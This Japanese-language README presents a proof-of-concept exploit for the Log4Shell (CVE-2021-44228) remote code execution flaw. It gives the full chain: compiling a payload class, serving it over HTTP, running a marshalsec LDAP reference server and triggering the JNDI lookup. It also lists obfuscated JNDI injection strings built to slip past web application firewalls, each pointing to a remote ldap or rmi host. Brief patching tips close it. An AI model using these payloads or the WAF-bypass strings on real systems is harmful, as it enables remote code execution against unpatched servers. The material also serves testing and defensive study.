
JNDIインジェクション、LDAP参照サーバー、WAFバイパス技術を備えたCVE-2021-44228(Log4Shell)の概念実証エクスプロイト。Log4j RCE脆弱性のテスト用です。
1.x 系には他にも脆弱性があります。最新バージョンに更新することをお勧めします。
Log4Shell (CVE-2021-44228) に関連するセキュリティアドバイザリ / 速報
このプロジェクトをダウンロードし、エクスプロイトコード blob/master/src/main/java/Exploit.java をコンパイルして、コンパイル済みバイナリをダウンロードできる Web サーバーを起動してください。
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
別のプロジェクトをダウンロードして、JNDI 参照を返す LDAP サーバー実装 を実行してください https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
アクティベーションコード (脆弱な Java Web サーバーに対する log4j 攻撃のシミュレーション) blob/master/src/main/java/log4j.java をビルドして実行すると、電卓アプリが表示されます。
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
ヒント:
現在の Java バージョンに頼って助けられると考えないでください。Log4 を更新するか(または JNDI ルックアップを削除してください)。展開を無効にしてください(それはいずれにせよかなり悪い考えのようです)。
例:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Web アプリケーションファイアウォールを信頼しないでください。
Lookups は、Log4j 設定の任意の場所に値を追加する方法を提供します。
finally 内でリークを発生させるメソッド
LogManager.getLogger().error()
LogManager.getLogger().fatal()
ブラックボックステストを行いたい場合は、パッシブスキャンを実行することをお勧めします。
楽しんでください!!!
